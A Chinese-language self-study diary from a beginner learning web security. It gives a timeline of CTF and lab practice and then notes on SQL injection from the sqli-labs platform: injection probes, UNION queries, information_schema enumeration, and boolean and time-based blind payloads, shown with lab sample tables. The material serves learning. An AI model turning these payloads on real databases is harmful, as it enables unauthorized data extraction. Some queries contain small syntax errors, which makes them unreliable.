記錄
自從10多號(hào)開始自學(xué)安全后,感覺速度快了點(diǎn),怕忘記就在本地每天打卡總結(jié),但今天突發(fā)奇想為何不在網(wǎng)上打卡捏,于是就有了本文
稍微記錄幾個(gè)時(shí)間點(diǎn):
20190522 了解到了有CTF這個(gè)比賽
201911 突然開始學(xué)逆向,我也不知道為何要先學(xué)逆向(Web安全不香嗎),不過一周后就沒學(xué)了,其實(shí)就是懶!
20191210 開始學(xué)DVWA,學(xué)會(huì)使用PHPstudy,DVWA粗略學(xué)了點(diǎn),沒啥感覺
201912 加入了一個(gè)教學(xué)群
202001 圖書館借了基本書打算寒假看,一本道哥的,一本將XSS,一本kali,但是根本看不進(jìn)去(太真實(shí)了)
20200209 B站上發(fā)現(xiàn)了一個(gè)很基礎(chǔ)的安全教程(網(wǎng)易云課堂的,幫運(yùn)過來的,后來要到了免費(fèi)資源鏈接就去看了看,真的是最最基礎(chǔ)的教程,很良心!原本這段時(shí)間我是打算練魔方的,打算avg11的,但我選擇了安全。之后的一周就在看這個(gè)視頻,不過看得慢,想打好基礎(chǔ)。
20200217 第一次做題,網(wǎng)址是http://hackthissite.org/就是那個(gè)教程分享的,過是一個(gè)外國網(wǎng)站,稍有吃力
20200220 加入了bugbank入門群,解決了burpsuite無法抓取https包的問題
20200221 來到了HackingLab開始了做題之旅了,結(jié)合之前的教程以及網(wǎng)上的WP慢慢學(xué)習(xí),一天時(shí)間才從選擇題和基礎(chǔ)關(guān)做到腳本關(guān)第2題,這一題是要寫一個(gè)腳本,這也是我的第一個(gè)腳本。
20200222 因?yàn)橹吧晕⒘私鈖ython,要寫腳本就復(fù)習(xí)了下python,了解request模塊和re模塊及正則表達(dá)式,說實(shí)話,我的學(xué)習(xí)力比較差,一開始就單單re模塊和正則那部分學(xué)了半個(gè)上午半個(gè)下午,晚飯前終于搞定了那個(gè)腳本
20200223 遇到了一個(gè)巨難的題(腳本關(guān)第8題),是一個(gè)關(guān)于PHP代碼審計(jì)的,這一題做完的時(shí)候天已經(jīng)黑了
SQL I‘m coming
從24號(hào)左右就開始了注入關(guān),前三關(guān)看WP還是比較簡單的,但是我是邊看邊學(xué)的,對(duì)于SQL注入的基本原理就不是很清楚,于是25號(hào)就打算單開一天學(xué)SQL注入,結(jié)果……我太年輕了,到了那天晚上才發(fā)現(xiàn)SQL不簡單,所以接下來的一周時(shí)間基本上就是與SQL注入打交道了,視頻的話,我是看B站上的 crow up主的sqli教程,其余就參考網(wǎng)上的文章
主要就是通過sqli-labs這個(gè)平臺(tái)學(xué)習(xí),里面的SQL注入類型豐富,夠啃一陣子了
前兩日SQL注入總結(jié) (?'-')?
之前學(xué)得有點(diǎn)零散,早上也起得比較晚,就打算總結(jié)前兩天所學(xué)的
基本SQL注入步驟
- 找到注入點(diǎn)
1' or 1=1 #
1 or 1=1
1" or 1=1 #
1') or 1=1 #
?
-- 一些編碼
’ %27
# %23
%20
“ %22
- 看有沒有回顯
order by 3#
-1' union select 1,2,3#
?
-- 沒有回顯的話,就屬于盲注系列了
- 獲取數(shù)據(jù)
select database();
select user();
select version();
select @@datadir; # MySQL安裝路徑
select @@version_compile_os; #電腦系統(tǒng)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.column where column_schema = 'users';
select username,password from security.users;
有趣的函數(shù)(?'-')?
group_concat("name") # 列舉name列所有字段
concat_ws('~',name,password) # 以name~password形式輸出
concat(”name“) # 用法類似
盲注 (?ω?)=つ
來人,上筆記!
盲注 布爾型
跑庫名
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or substr((select database()),1,1)='s'#
1' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I'#
跑表名
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#
跑列名
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)# //不同庫會(huì)有相同的列名
1' or select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,10) c#
這里最好把庫名和列名都寫出了,避免出現(xiàn)不同庫相同列名的情況
跑字段
1' and select substr((select username from security.users limit 0,1),1,1)#
盲注 延時(shí)型
跑庫名
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or if(substr((select database()),1,1)='s',1,sleep(5)) #
1' or if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I',1,sleep(5)) #
跑表名
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5))#
跑列名
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
//精確到了庫和表,是可以跑出id的
1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(5))#
跑字段
1' and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5));
雜項(xiàng) _(:τ」∠) _
-
burpsuite抓不到本地包
學(xué)安全避免不了破解版工具的使用,前幾天的burpsuite能抓遠(yuǎn)程包,今天突然抓不到本地包了,郁悶~~
后來將localhost和127.0.0.1改為本地的IP地址就可以了(比如http://192.168.1.1/sqli/less-11)
PS:沒想到這個(gè)markdown編輯功能這么差,哎,代碼塊部分明天在處理下,有點(diǎn)難看。。。